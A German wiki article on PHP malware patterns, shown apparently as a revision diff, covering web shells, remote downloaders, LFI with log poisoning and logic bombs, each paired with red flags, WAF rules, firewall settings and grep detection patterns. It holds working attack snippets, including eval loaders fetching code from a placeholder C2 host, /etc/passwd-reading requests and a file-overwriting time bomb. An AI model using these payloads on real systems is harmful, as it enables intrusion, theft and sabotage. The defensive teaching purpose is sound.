 
−
// UNSICHER – Passwort wird als Klartext verarbeitet und ist damit für Stealer zugänglich
 
−
$password = $_POST['password'];
 
−
if ($password === $stored_password) { /* Login */ }
 
−
 
−
// SICHER – Passwort wird sofort als Hash verglichen, nie gespeichert oder geloggt
 
−
$password = $_POST['password'];
 
−
if (password_verify($password, $stored_hash)) { /* Login */ }
 
−
// password_hash() zum Speichern: $hash = password_hash($password, PASSWORD_BCRYPT);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== allow_url_fopen deaktivieren ====
 
−
 
−
<syntaxhighlight lang="ini">
 
−
; /etc/php/8.2/apache2/php.ini
 
−
; Verhindert file_get_contents() mit URLs → Variante 2 funktioniert nicht mehr
 
−
allow_url_fopen  = Off
 
−
allow_url_include = Off
 
−
</syntaxhighlight>
 
−
 
−
==== Ausgehende Verbindungen per Firewall blockieren (nftables) ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Webserver-Prozess (www-data) darf keine ausgehenden HTTP/HTTPS-Verbindungen aufbauen
 
−
# Ausnahme: explizit erlaubte Ziele (z. B. eigene API)
 
−
 
−
nft add rule inet filter output \
 
−
    skuid www-data \
 
−
    tcp dport { 80, 443 } \
 
−
    ip daddr != 192.168.1.1 \
 
−
    drop
 
−
</syntaxhighlight>
 
−
 
−
==== Suche nach Credential-Stealern ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Schreibzugriffe auf $_POST-Inhalte in PHP-Dateien
 
−
grep -rn --include="*.php" \
 
−
    -e "file_put_contents.*_POST" \
 
−
    -e "file_put_contents.*_GET" \
 
−
    -e "fwrite.*_POST" \
 
−
    /var/www/html/
 
−
 
−
# Ausgehende HTTP-Requests in PHP-Dateien
 
−
grep -rn --include="*.php" \
 
−
    -e "file_get_contents\s*(['\"]http" \
 
−
    -e "curl_setopt.*CURLOPT_URL" \
 
−
    /var/www/html/
 
−
 
−
# Versteckte Dateien mit Credential-ähnlichem Inhalt
 
−
find /var/www/html -name ".*" -type f | xargs grep -l "password\|passwd\|PHPSESSID" 2>/dev/null
 
−
 
−
# Netzwerkverbindungen des Webservers überwachen
 
−
ss -tulpn | grep apache2
 
−
lsof -i -n -P | grep php
 
−
</syntaxhighlight>
 
−
 
−
----
 
−
 
−
== 5. Remote Malware Downloader ==
 
−
 
−
=== Was der Angreifer will ===
 
−
 
−
Neuen Schadcode zur Laufzeit von einem externen Server nachladen und ausführen.
 
−
Der initiale Code ist minimal und unverdächtig – der eigentliche Payload kommt erst
 
−
später. Das ermöglicht es dem Angreifer, die Shell zu aktualisieren oder
 
−
verschiedene Payloads nachzuladen, ohne erneut die Webapplikation kompromittieren
 
−
zu müssen.
 
−
 
−
==== Variante 1: file_get_contents + eval ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Lädt PHP-Code von einem externen Server und führt ihn direkt aus
 
−
// allow_url_fopen muss On sein (Standard in vielen Installationen)
 
−
 
−
$url    = 'http://c2.angreifer.example.com/payload.php';
 
−
$payload = file_get_contents($url);
 
−
eval($payload);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== Variante 2: curl + eval (funktioniert auch wenn allow_url_fopen = Off) ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
$ch = curl_init('http://c2.angreifer.example.com/stage2.php');
 
−
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
 
−
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // auch HTTPS-C2-Server möglich
 
−
$payload = curl_exec($ch);
 
−
curl_close($ch);
 
−
eval($payload);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== Variante 3: Payload auf Disk schreiben + include (persistenter) ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Schreibt den nachgeladenen Code als PHP-Datei und bindet sie ein
 
−
// Vorteil für Angreifer: funktioniert auch nach C2-Server-Ausfall weiter
 
−
 
−
$payload_url  = 'http://c2.angreifer.example.com/update.php';
 
−
$local_cache  = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/.update.php';
 
−
 
−
$code = file_get_contents($payload_url);
 
−
file_put_contents($local_cache, $code);
 
−
include $local_cache;
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
=== Red Flags ===
 
−
 
−
* <code>file_get_contents()</code> mit einer URL als Parameter
 
−
* <code>curl_exec()</code> gefolgt von <code>eval()</code>
 
−
* <code>file_put_contents()</code> mit dynamischem Inhalt + anschließendem <code>include()</code>
 
−
* Requests zu unbekannten Domains im Netzwerk-Traffic
 
−
* DNS-Anfragen an unbekannte Hosts aus dem Webserver-Prozess
 
−
 
−
=== Gegenmaßnahmen ===
 
−
 
−
==== allow_url_fopen und allow_url_include deaktivieren ====
 
−
 
−
<syntaxhighlight lang="ini">
 
−
; /etc/php/8.2/apache2/php.ini
 
−
allow_url_fopen  = Off  ; file_get_contents() kann keine URLs mehr öffnen
 
−
allow_url_include = Off  ; include/require können keine URLs mehr einbinden
 
−
</syntaxhighlight>
 
−
 
−
==== open_basedir – Dateizugriff einschränken ====
 
−
 
−
<syntaxhighlight lang="ini">
 
−
; PHP darf nur innerhalb dieser Verzeichnisse auf Dateien zugreifen
 
−
; Verhindert Variante 3 (Schreiben außerhalb des definierten Bereichs)
 
−
open_basedir = /var/www/html:/tmp
 
−
</syntaxhighlight>
 
−
 
−
==== Ausgehende Verbindungen per nftables blockieren ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# www-data darf keine ausgehenden TCP-Verbindungen aufbauen
 
−
nft add rule inet filter output \
 
−
    skuid www-data \
 
−
    tcp flags syn \
 
−
    drop
 
−
 
−
# Alternativ: nur explizit erlaubte Ziele freigeben
 
−
# nft add rule inet filter output skuid www-data ip daddr 192.168.1.100 accept
 
−
# nft add rule inet filter output skuid www-data drop
 
−
</syntaxhighlight>
 
−
 
−
==== DNS-Monitoring ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# DNS-Anfragen des Webservers mitschneiden
 
−
tcpdump -i eth0 -n port 53 and host 127.0.0.1
 
−
 
−
# Suricata-Regel: unbekannte externe DNS-Anfragen vom Webserver
 
−
# alert dns any any -> any 53 (msg:"PHP process DNS query to unknown host"; \
 
−
#  dns.query; content:!"intern.example.com"; sid:9001;)
 
−
</syntaxhighlight>
 
−
 
−
==== Downloader-Muster im Code aufspüren ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# file_get_contents mit URL
 
−
grep -rn --include="*.php" \
 
−
    -e "file_get_contents\s*(['\"]http" \
 
−
    -e "file_get_contents\s*(\$" \
 
−
    /var/www/html/
 
−
 
−
# curl gefolgt von eval (mehrzeilig – Kontext prüfen)
 
−
grep -rn --include="*.php" "curl_exec" /var/www/html/
 
−
 
−
# file_put_contents gefolgt von include in selber Datei
 
−
grep -rn --include="*.php" "file_put_contents" /var/www/html/ | \
 
−
    while read file; do
 
−
        grep -l "include\|require" "$(echo $file | cut -d: -f1)" 2>/dev/null
 
−
    done
 
−
</syntaxhighlight>
 
−
 
−
----
 
−
 
−
== 6. Privilege Escalation via PHP Misconfiguration ==
 
−
 
−
=== Was der Angreifer will ===
 
−
 
−
Durch fehlerhafte PHP- oder Serverkonfiguration höhere Rechte erlangen oder
 
−
auf Dateien zugreifen, die außerhalb des Webroots liegen – z. B. Systemdateien,
 
−
Konfigurationen mit Datenbankpasswörtern oder SSH-Keys.
 
−
Klassische Angriffsvektoren sind Local File Inclusion (LFI) und
 
−
fehlende open_basedir-Einschränkungen.
 
−
 
−
==== Angriff: Local File Inclusion (LFI) ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// UNSICHER – Benutzereingabe direkt in include()
 
−
// Dateiname kommt ungefiltert aus dem GET-Parameter
 
−
 
−
$page = $_GET['page'];
 
−
include($page . '.php');
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Normaler Aufruf:
 
−
curl "http://opfer.example.com/index.php?page=home"
 
−
# → include('home.php')
 
−
 
−
# LFI – Angreifer liest /etc/passwd:
 
−
curl "http://opfer.example.com/index.php?page=../../../etc/passwd%00"
 
−
# %00 = Null-Byte (PHP < 5.3.4): terminiert den String → .php-Endung wird abgeschnitten
 
−
# → include('../../../etc/passwd')
 
−
 
−
# LFI ohne Null-Byte (PHP-Wrapper):
 
−
curl "http://opfer.example.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd"
 
−
# Gibt /etc/passwd base64-kodiert zurück
 
−
</syntaxhighlight>
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Ergebnis base64-dekodieren:
 
−
curl "http://opfer.example.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd" \
 
−
    | base64 -d
 
−
# root:x:0:0:root:/root:/bin/bash
 
−
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
 
−
</syntaxhighlight>
 
−
 
−
==== Angriff: LFI → RCE über Log Poisoning ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Schritt 1: PHP-Code in Apache-Log einschleusen (User-Agent-Feld)
 
−
curl -A "<?php system(\$_GET['cmd']); ?>" http://opfer.example.com/
 
−
 
−
# Schritt 2: Log über LFI einbinden → PHP-Code wird ausgeführt
 
−
curl "http://opfer.example.com/index.php?page=../../../var/log/apache2/access.log&cmd=id"
 
−
# uid=33(www-data) ...
 
−
</syntaxhighlight>
 
−
 
−
==== Angriff: require mit $_REQUEST (LFI über POST) ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// UNSICHER – noch gefährlicher als include, weil require bei Fehler abbricht
 
−
// und der Angreifer daraus Informationen über das Dateisystem ableiten kann
 
−
 
−
require($_REQUEST['file']);
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
=== Red Flags ===
 
−
 
−
* <code>include($_GET['page'])</code>, <code>require($_REQUEST['file'])</code> ohne Whitelist
 
−
* <code>../</code> oder <code>%2e%2e%2f</code> in URL-Parametern
 
−
* PHP-Wrapper wie <code>php://filter</code>, <code>php://input</code>, <code>data://</code> in Parametern
 
−
* Fehlende <code>open_basedir</code>-Konfiguration
 
−
* Requests mit Null-Byte (<code>%00</code>) in Parametern
 
−
 
−
=== Gegenmaßnahmen ===
 
−
 
−
==== Sicherer Code – Whitelist statt freie Eingabe ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// SICHER – nur erlaubte Seiten können eingebunden werden
 
−
// Benutzereingabe wird NIEMALS direkt in einen Dateipfad übernommen
 
−
 
−
$allowed_pages = ['home', 'about', 'contact', 'services'];
 
−
$page          = $_GET['page'] ?? 'home';
 
−
 
−
if (!in_array($page, $allowed_pages, true)) {
 
−
    http_response_code(404);
 
−
    die("Seite nicht gefunden.");
 
−
}
 
−
 
−
// Fester Basispfad + validierter Name aus Whitelist
 
−
include __DIR__ . '/pages/' . $page . '.php';
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== open_basedir in php.ini ====
 
−
 
−
<syntaxhighlight lang="ini">
 
−
; PHP darf nur auf Dateien innerhalb dieser Pfade zugreifen
 
−
; Auch php://filter-Angriffe auf /etc/passwd werden damit blockiert
 
−
open_basedir = /var/www/html:/tmp
 
−
</syntaxhighlight>
 
−
 
−
==== PHP-Wrapper in der WAF blockieren ====
 
−
 
−
<syntaxhighlight lang="apache">
 
−
# Coraza / ModSecurity: PHP-Wrapper in Request-Parametern blockieren
 
−
SecRule ARGS "@rx (php://|data://|file://|expect://|zip://)" \
 
−
    "id:1003,phase:2,deny,status:403,log,msg:'PHP Wrapper in Request Parameter'"
 
−
 
−
# Directory Traversal blockieren
 
−
SecRule ARGS "@rx \.\.[/\\]" \
 
−
    "id:1004,phase:2,deny,status:403,log,msg:'Directory Traversal Attempt'"
 
−
</syntaxhighlight>
 
−
 
−
==== LFI-Versuche in Logs erkennen ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# Directory-Traversal-Versuche im Access-Log
 
−
grep -E "(\.\./|%2e%2e%2f|%252e)" /var/log/apache2/access.log
 
−
 
−
# PHP-Wrapper-Angriffe
 
−
grep -E "(php://|data://|file://|expect://)" /var/log/apache2/access.log
 
−
 
−
# Log-Poisoning-Versuch: PHP-Code im User-Agent
 
−
grep -E "<\?php" /var/log/apache2/access.log
 
−
</syntaxhighlight>
 
−
 
−
----
 
−
 
−
== 7. Time-Delayed / Logic Bomb Malware ==
 
−
 
−
=== Was der Angreifer will ===
 
−
 
−
Versteckt bleiben bis eine bestimmte Bedingung erfüllt ist – ein Datum, eine
 
−
Uhrzeit, ein bestimmter Benutzername oder eine IP-Adresse. Der Code „tut nichts"
 
−
solange die Bedingung nicht zutrifft und ist deshalb bei einfachen Scans
 
−
schwer zu entdecken. Logic Bombs werden oft als Sabotage eingesetzt (Löschen von
 
−
Daten an einem bestimmten Datum) oder als verzögerter Backdoor-Aktivator.
 
−
 
−
==== Variante 1: Datum-basierte Aktivierung ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Payload wird nur an einem bestimmten Datum ausgeführt
 
−
// An allen anderen Tagen: kein verdächtiges Verhalten
 
−
 
−
$target_date = '2024-12-24';  // Weihnachten – viele Admins im Urlaub
 
−
 
−
if (date('Y-m-d') === $target_date) {
 
−
    // Alle PHP-Dateien im Webroot überschreiben
 
−
    foreach (glob('/var/www/html/**/*.php') as $file) {
 
−
        file_put_contents($file, '<?php echo "Hacked"; ?>');
 
−
    }
 
−
}
 
−
// Normaler Code folgt – Datei sieht ansonsten harmlos aus
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== Variante 2: Uhrzeit-basierte Aktivierung (Nacht) ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Aktiviert sich nur zwischen 02:00 und 03:00 Uhr
 
−
// Monitoring und Admins schlafen meist zu dieser Zeit
 
−
 
−
$hour = (int) date('G');
 
−
 
−
if ($hour >= 2 && $hour < 3) {
 
−
    system($_GET['cmd'] ?? 'id');
 
−
}
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== Variante 3: Bestimmter Benutzer als Trigger ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Payload nur bei Login des Benutzers "admin" aktiviert
 
−
// Verknüpfung mit Credential-Stealer möglich
 
−
 
−
session_start();
 
−
if (isset($_SESSION['user']) && $_SESSION['user'] === 'admin') {
 
−
    // Datenbankdump erstellen und in öffentlichem Verzeichnis ablegen
 
−
    system('mysqldump -u root -pROOTPASSWD wordpress > /var/www/html/uploads/.dump.sql');
 
−
}
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
==== Variante 4: IP-basierte Aktivierung (nur für Angreifer sichtbar) ====
 
−
 
−
<syntaxhighlight lang="php">
 
−
<?php
 
−
// Web Shell ist nur für eine bestimmte IP aktiv
 
−
// Für alle anderen Besucher sieht die Seite völlig normal aus
 
−
 
−
$attacker_ip = '198.51.100.42';  // Angreifer-IP
 
−
 
−
if ($_SERVER['REMOTE_ADDR'] === $attacker_ip && isset($_GET['cmd'])) {
 
−
    system($_GET['cmd']);
 
−
} else {
 
−
    // Normale Seite ausgeben
 
−
    include 'index_normal.php';
 
−
}
 
−
?>
 
−
</syntaxhighlight>
 
−
 
−
=== Red Flags ===
 
−
 
−
* <code>date()</code>, <code>time()</code>, <code>strtotime()</code> in Kombination mit Bedingungen die selten wahr sind
 
−
* Hartcodierte Datumswerte (<code>'2024-12-24'</code>)
 
−
* IP-Adress-Vergleiche mit <code>$_SERVER['REMOTE_ADDR']</code> die bestimmte IPs aktivieren
 
−
* Code-Blöcke die scheinbar „nichts tun" – aber unter einer Bedingung stehen
 
−
* Session- oder Benutzerprüfungen in Dateien die keine Zugangskontrolle benötigen
 
−
 
−
=== Gegenmaßnahmen ===
 
−
 
−
==== Statische Analyse: Verdächtige Datumsprüfungen finden ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
# date() in Kombination mit Vergleichsoperatoren
 
−
grep -rn --include="*.php" \
 
−
    -e "date\s*(.*==\s*['\"]" \
 
−
    -e "strtotime\s*(" \
 
−
    /var/www/html/
 
−
 
−
# Hartcodierte IP-Adressen in PHP-Dateien
 
−
grep -rn --include="*.php" \
 
−
    -P "REMOTE_ADDR.*['\"][0-9]{1,3}\.[0-9]{1,3}" \
 
−
    /var/www/html/
 
−
 
−
# Session-Benutzerprüfungen in unerwarteten Dateien
 
−
grep -rn --include="*.php" \
 
−
    -e "_SESSION\['user'\]" \
 
−
    -e "_SESSION\['username'\]" \
 
−
    /var/www/html/uploads/ /var/www/html/cache/ /var/www/html/images/
 
−
</syntaxhighlight>
 
−
 
−
==== Integrity Monitoring mit AIDE ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
apt install aide
 
−
 
−
# Konfiguration: alle PHP-Dateien überwachen
 
−
echo "/var/www/html    CONTENT_EX" >> /etc/aide/aide.conf
 
−
 
−
# Datenbank initialisieren (nach sauberem Deployment!)
 
−
aide --init
 
−
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
 
−
 
−
# Tägliche Prüfung
 
−
echo "0 4 * * * root aide --check | mail -s 'AIDE Report' admin@example.com" \
 
−
    >> /etc/cron.d/aide
 
−
 
−
# Manueller Check:
 
−
aide --check
 
−
# AIDE found differences between database and filesystem!
 
−
# changed: /var/www/html/wp-includes/class-phpmailer.php
 
−
</syntaxhighlight>
 
−
 
−
==== Git für Deployment nutzen – unerwartete Änderungen sofort erkennen ====
 
−
 
−
<syntaxhighlight lang="bash">
 
−
cd /var/www/html
 
−
 
−
# Status prüfen: welche Dateien wurden seit letztem Deployment geändert?
 
−
git status
 
−
# modified: wp-includes/class-phpmailer.php  ← verdächtig!
 
−
 
−
# Diff anzeigen:
 
−
git diff wp-includes/class-phpmailer.php
 
−
 
−
# Alle seit einer Woche geänderten Dateien die nicht im Git sind:
 
−
find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -7 | \
 
−
    while read f; do git ls-files --error-unmatch "$f" 2>/dev/null || echo "UNTRACKED: $f"; done
 
−
</syntaxhighlight>
 
−
 
−
----
 
−
 
−
== Übersichtstabelle ==
 
−
 
−
{| class="wikitable sortable"
 
−
! Muster !! Ziel des Angreifers !! Wichtigste Red Flags !! Wichtigste Gegenmaßnahme
 
−
|-
 
−
| Web Shell Backdoor || Remote Command Execution || <code>system()</code>, <code>shell_exec()</code> + <code>$_GET</code>/<code>$_POST</code> || PHP in Uploads deaktivieren, <code>disable_functions</code>
 
−
|-
 
−
| Obfuscated Malware || Erkennung umgehen || <code>eval(base64_decode(...))</code>, <code>assert()</code>, lange Strings || ClamAV/Maldet, statische Analyse
 
−
|-
 
−
| File Upload Backdoor || PHP-Datei ins Webroot schleusen || Kein MIME-Check, Original-Dateiname, PHP in <code>/uploads/</code> || Upload außerhalb Webroot, serverseitiger MIME-Check
 
−
|-
 
−
| Credential Stealer || Passwörter/Cookies stehlen || <code>file_put_contents</code> mit <code>$_POST</code>, ausgehende HTTP-Requests || <code>allow_url_fopen=Off</code>, Firewall ausgehend
 
−
|-
 
−
| Remote Downloader || Payload nachladen + ausführen || <code>file_get_contents(URL)</code> + <code>eval()</code>, <code>curl_exec()</code> + <code>eval()</code> || <code>allow_url_fopen=Off</code>, ausgehende Firewall
 
−
|-
 
−
| Privilege Escalation (LFI) || Dateisystem auslesen, RCE || <code>include($_GET[...])</code>, <code>../</code> in Parametern, PHP-Wrapper || Whitelist, <code>open_basedir</code>, WAF
 
−
|-
 
−
| Logic Bomb / Time Delay || Versteckt bleiben bis Trigger || Datumsprüfungen, IP-Checks, „toter" Code unter Bedingung || AIDE Integrity Monitoring, Git-Deployment
 
−
|}
 
  
 
[[Kategorie:Web Security]]
 
[[Kategorie:Web Security]]
 
[[Kategorie:PHP]]
 
[[Kategorie:PHP]]
 
[[Kategorie:Malware]]
 
[[Kategorie:Malware]]
−
[[Kategorie:Secure Coding]]
 

Version vom 31. Mai 2026, 17:35 Uhr

Web Shell Backdoors

Beschreibung

Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer eine ferngesteuerte Kommandoausführung auf dem Server ermöglicht – erreichbar über einen normalen HTTP-Request, ohne SSH- oder FTP-Zugang.

Was der Angreifer will

Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt.

Typisches Angriffsmuster

Minimale Web Shell (GET)

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

Aufruf durch den Angreifer:

curl "http://opfer.example.com/uploads/header.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd"

Erweiterte Shell über POST

POST-Parameter sind im Access-Log schwerer zu erkennen als GET-Parameter:

<?php
if (isset($_POST['x'])) {
    $output = shell_exec($_POST['x'] . ' 2>&1');
    echo '<pre>' . $output . '</pre>';
}
?>
curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \
     -d 'x=whoami'
# www-data

Typische Tarnnamen

Angreifer benennen Web Shells gezielt unauffällig:

/uploads/img001.php
/images/header.php
/cache/.thumbs.php          # führender Punkt → unsichtbar ohne ls -a
/wp-includes/class-wp-image.php

Red Flags

  • system(), exec(), shell_exec(), passthru()
  • Direkter Zugriff auf $_GET, $_POST oder $_REQUEST ohne Validierung
  • Keine Authentifizierung
  • PHP-Dateien in /uploads/, /images/, /cache/

Gegenmaßnahmen

Gefährliche Funktionen in php.ini deaktivieren

; /etc/php/8.2/apache2/php.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
systemctl restart apache2

# Test:
php -r "system('id');"
# PHP Warning: system() has been disabled for security reasons

PHP-Ausführung in Upload-Verzeichnissen unterbinden

# /etc/apache2/conf-available/no-php-uploads.conf
<Directory /var/www/html/uploads>
    <FilesMatch "\.php$">
        Require all denied
    </FilesMatch>
</Directory>
a2enconf no-php-uploads
systemctl reload apache2

WAF-Regel (Coraza / ModSecurity)

SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell)$" \
    "id:1001,phase:2,deny,status:403,msg:'Web Shell Parameter detected'"

Nach Web Shells suchen

# PHP-Dateien mit Shell-Funktionen im Webroot
grep -rn --include="*.php" \
    -e "system\s*(" \
    -e "shell_exec\s*(" \
    -e "passthru\s*(" \
    -e "exec\s*(" \
    /var/www/html/

# PHP-Dateien in Upload-Verzeichnissen – sollte leer sein
find /var/www/html/uploads -name "*.php" -type f

# Kürzlich geänderte PHP-Dateien
find /var/www/html -name "*.php" -mtime -7

# Requests auf Upload-Verzeichnisse im Access-Log
grep "uploads/.*\.php" /var/log/apache2/access.log